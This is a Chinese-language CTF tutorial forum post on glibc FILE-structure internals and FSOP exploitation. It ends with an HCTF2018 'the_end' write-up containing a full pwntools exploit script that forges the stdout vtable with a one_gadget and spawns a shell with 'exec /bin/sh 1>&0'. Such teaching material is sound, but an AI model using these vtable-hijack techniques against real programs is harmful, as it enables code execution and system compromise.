首页
论坛
课程
招聘
[原创]新人PWN入坑总结(七)
2021-8-8 09:16 11065

[原创]新人PWN入坑总结(七)

2021-8-8 09:16
11065

FSOP0xd

一、FILE前置知识

一、_IO_FILE_plus:

1.结构定义:在libio.h中找不到它的结构定义,但是wiki上说是如下的:

#注释头

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}

虽然网上相关定义的里面包含的是_IO_FILE,但是实际上在内存中_IO_FILE却会被完善成_IO_FILE_complete:

(1)两条黄线之间的数据即为struct _IO_FILE_complete,包含struct _IO_FILE

(2)第一条黄线至蓝线的即为struct _IO_FILE

(3)最下面的就是struct _IO_jump_t

2.符号内容:

#注释头

_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_

以上三个符号就是程序被加载之后的_IO_FILE_plus这个结构体生成的结构体指针。

 

 

二、_IO_FILE和_IO_FILE_complete(libio.h中)

1._IO_FILE结构定义:

#注释头

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */
  struct _IO_marker *_markers;
  struct _IO_FILE *_chain;
  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
  /*  char* _save_gptr;  char* _save_egptr; */
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

2._IO_FILE_complete结构定义:

#注释头

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;
# endif
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

3.实际内存情况:

由于程序中基本都会自动完善,所以只能查看到_IO_FILE_complete的实际内存结构

4.符号内容:

#注释头

_IO_stderr_
_IO_stdout_
_IO_stdin_

这三个符号就是struct _IO_FILE的结构体指针,但是实际会被完善为_IO_FILE_complete。

 

 

三、IO_jump_t结构:

1.结构定义:

#注释头

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

2.实际内存情况:

3.符号内容:

_IO_file_jumps

这个符号是全局变量符号,可以直接查看,能算出固定偏移。

vtable

这个符号不是之前介绍的几个符号,不是全局的,里面保存着IO_file_jumps的地址,只能通过前面几个全局符号来对应偏移搜索,没办法在gdb中直接查看。stdin之类的三个输入输出流如果想调用_IO_file_jumps里面的函数,只能通过vtable来调用,所以如果我们可以伪造一个IO_jump_t结构体,使得vtable指向这个伪造的结构体,根据偏移就可以调用里面伪造的函数指针。比如修改stdin结构中的vtable指向伪造的IO_jump_t结构体,并且将伪造的IO_jump_t结构体的__overflow劫持为system函数地址,那么使用stdin调用__overflow时就相当于调用system函数。

 

 

四、_IO_FILE_plus中各个结构的成员含义:

1._IO_FILE_:这个结构体生成的指针就是我们实际上编程时用fopen返回值指针。

(1)int _flags:给vtable中的各类函数指针传入的第一个参数。(之后会讲到)

(2)

  #注释头

  char* _IO_read_ptr; /* Current read pointer */
  char* _IO_read_end; /* End of get area. */
  char* _IO_read_base; /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr; /* Current put pointer. */
  char* _IO_write_end; /* End of put area. */
  char* _IO_buf_base; /* Start of reserve area. */
  char* _IO_buf_end;

这一系列就是对应的stdin,stdout,stderr中读取地址,写入地址,buf地址。可以通过修改stdin结构体中的buf_base和buf_end,改为某个bss段地址,来使得scanf之类的读取函数读到bss段上。其它用法类似,ctfwiki详解。

(3)

 #注释头 

  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */
  struct _IO_marker *_markers;

这段就不知道干啥的了,应该需要具体调试才知道具体用法,网上也搜不到。

(4)struct _IO_FILE *_chain:

保存的是一个_IO_FILE指针,实际应该是_IO_FILE_plus指针,指向下一个_IO_FILE_plus结构体。

有一个全局变量_IO_list_all,里面保存_IO_2_1stderr的地址,且距离_IO_2_1stderr偏移不远:

这其实是一个链表,由_IO_list_all进行访问维护,形式如下:

#注释头

*_IO_list_all->_IO_2_1stderr_
_IO_2_1stderr_.chain->_IO_2_1stderr_
_IO_2_1stderr_.chain->_IO_2_1stdout_
_IO_2_1stdout_.chain->_IO_2_1stdin_
_IO_2_1stdin_.chain=0x0

程序会通过_IO_list_all来找到这三个输入输出流。

(5)

  #注释头  

  int _fileno;
  int _blksize;
  int _flags2;
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
  _IO_lock_t *_lock;

这段也不知道干啥用的。

(6)

  #注释头

  _IO_off64_t _offset;
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;
  size_t __pad5;
  int _mode;
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];

这段在_IO_FILE_complete中定义的也不知道干啥用。

2.IO_jump_t结构,也就是vtable中的,里面都是一些函数指针,程序调用对应的输入输出流就会调用对应的vtable中的函数指针。这边挑一些常用的函数:

(1)_IO_xsgetn_t:实际是__GI_IO_file_xsgetn,会被fread函数调用。

(2)_IO_xsputn_t:实际是__IO_new_file_xsputn,会被fwrite函数调用,还有printf/puts等一些输出流函数。

(3)fopen和fclose会将三大输入输出流从_IO_list_all,chain域,链表脱链。

▲fopen情况下_IO_FILE_plus结构体会位于堆内存中

 

 

五、FSOP的触发与伪造:File Stream Oriented Programming

1.伪造:

劫持_IO_list_all的值,指向伪造的_IO_FILE_结构体stderr。

2.触发:

借助_IO_flush_all_lockp触发,这个函数会刷新每个_IO_FILE结构体,同样调用里面vtable中的_IO_overflow。那么如果_IO_overflow为system,并将flag=/bin/sh,那么就可以getshell了。

▲而_IO_flush_all_lockp这个函数不需要手动触发,以下情况程序会自己触发:

(1)当 libc 执行 abort 流程时:

(2)当执行 exit 函数时:

exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp

(3)当执行流从 main 函数返回时

那么一旦我们伪造好了,main函数返回,或者exit,或者abort都会getshell。

3.需要绕过的绕过检查:

#注释头

fake_IO_FILE_._mode <= 0
fake_IO_FILE_._IO_write_ptr > fake_IO_FILE._IO_write_base

 

 

六、其它的劫持:

▲libc2.24及以上的_IO_file_jumps结构体不可修改,只能进行伪造,libc2.23及以下可以直接修改_IO_file_jumps的函数指针。

1.修改vatble指针,伪造_IO_file_jumps结构体:(HCTF2018_the_end)

exit函数会调用_IO_file_jumps中的__setbuf函数,可以伪造_IO_file_jumps结构体,将vtable指向伪造的结构体,并将伪造的_IO_file_jumps结构体中的__setbuf函数改成one_gadget。这个方法最后还需要再:

io.sendline("exec /bin/sh 1>&0")才行。

2.花式劫持:https://blog.csdn.net/Mira_Hu/article/details/103736917

 

 

七、libc2.24下的利用:

由于加入了检查,不能再伪造vtable了。

1.修改_IO_2_1_stdin_结构体中的_IO_buf_base和_IO_buf_end为fake_buf_addr_base,fake_buf_addr_end,这样再输入就会读入到fake_buf_addr_base中。

2.劫持vtable的结构体指针类型,从_IO_file_jumps,劫持成_IO_str_jumps,这样程序就不会对vtable进行检查,而_IO_file_jumps结构体与_IO_file_jumps几乎一致。

▲有些绕过条件ctfwiki上说得更详细

 

参考资料:ctfwiki,还有其它好多,贴不过来了。

 ▲做个总结,因为高版本Libc关于IO_FILE的检查越来越多,所以其实现在的FSOP大多就是用来泄露地址的。



二、HCTF2018_the_end

1.常规checksec,除了canary之外保护全开。IDA打开找漏洞,没什么漏洞,就是程序会泄露出sleep的地址,然后让我们在任意地方写入5个字节,并且给了libc文件,那么就可以算出libc基地址,版本为2.23。

printf("here is a gift %p, good luck ;)\n", &sleep);

2.程序最后调用exit(1337),两种方法:

(1)exit会无条件通过_IO_2_1_stdout_结构体调用vtable虚表中的_setbuf函数。

(2)exit会通过_IO_2_1_stdout_结构体调用vtable虚表中的_overflow函数,但需要满足以下条件:

#注释头

_IO_FILE_plus._mode <= 0
_IO_FILE_plus._IO_write_ptr > _IO_FILE_plus._IO_write_base

所以我们伪造的_IO_FILE_plus结构体就需要满足上述条件

(3)exit会调用_rtld_global结构体中的_dl_rtld_lock_recursive函数,不用满足条件。

3.三种方法攻击思路:

(1)由于会调用_setbuf函数,vtable位于libc数据段上不可写部分,无法直接修改vtable对应的_IO_file_jumps中的函数指针。那么可以伪造_IO_2_1_stdout_中的vtable指针,利用2字节修改vtable指针的倒数两个字节,使其指向一个可读可写内存,形成一个fake_IO_file_jumps,然后在该内存对应_setbuf函数偏移处伪造one_gadget地址。

#注释头

from pwn import *
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = process('./the_end')

vtable_offset = 0xd8
_setbuf_offset = 0x58
fake_vtable_offset = 0x3c5588
#这个需要自己调试找,并保证偏移_setbuf_offset处修改之后程序不会直接崩溃

sleep_addr = p.recvuntil(', good luck',drop=True).split(' ')[-1] 
libc_base = long(sleep_addr,16) - libc.symbols['sleep']

one_gadget = libc_base + 0xf02b0
_IO_2_1_stdout_vtable_addr = libc_base + libc.sym['_IO_2_1_stdout_'] + vtable_offset

fake_vtable = libc_base + fake_vtable_offset
fake_vtable_setbuf_addr = libc_base + fake_vtable_offset + _setbuf_offset

print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)

for i in range(2):
    p.send(p64(_IO_2_1_stdout_vtable_addr+i))
    p.send(p64(fake_vtable)[i])

for i in range(3):
    p.send(p64(fake_vtable_setbuf_addr+i))
    p.send(p64(one_gadget)[i])

p.sendline("exec /bin/sh 1>&0")

p.interactive()

 

(2)_IO_FILE_plus结构体位于libc数据段上可读可写内存处,可以直接修改,但是修改字节数只有5个,按照第一种方法:

#注释头

_IO_FILE_plus._mode <= 0  //该条件自动就会满足
_IO_FILE_plus._IO_write_ptr > _IO_FILE_plus._IO_write_base//该条件需要设置1个字节

再利用1个字节修改vtable的倒数第二个字节,伪造vtable指针,然后利用3个字节在该内存对应_setbuf函数偏移处伪造one_gadget地址。

(3)_rtld_global结构体位于libc数据段上可读可写内存处,可以直接修改。那么直接修改_dl_rtld_lock_recursive函数指针指向one_gadget就行了。

 

方法(2)和方法(3)参考:

https://blog.csdn.net/Mira_Hu/article/details/103736917

 

参考资料:

https://wiki.x10sec.org/pwn/linux/io_file/fake-vtable-exploit-zh/

 

▲常规技术先写到这,下期开始更新堆。


[注意] 欢迎加入看雪团队!base上海,招聘CTF安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!

最后于 2021-8-8 09:19 被PIG-007编辑 ,原因:
收藏
点赞1
打赏
分享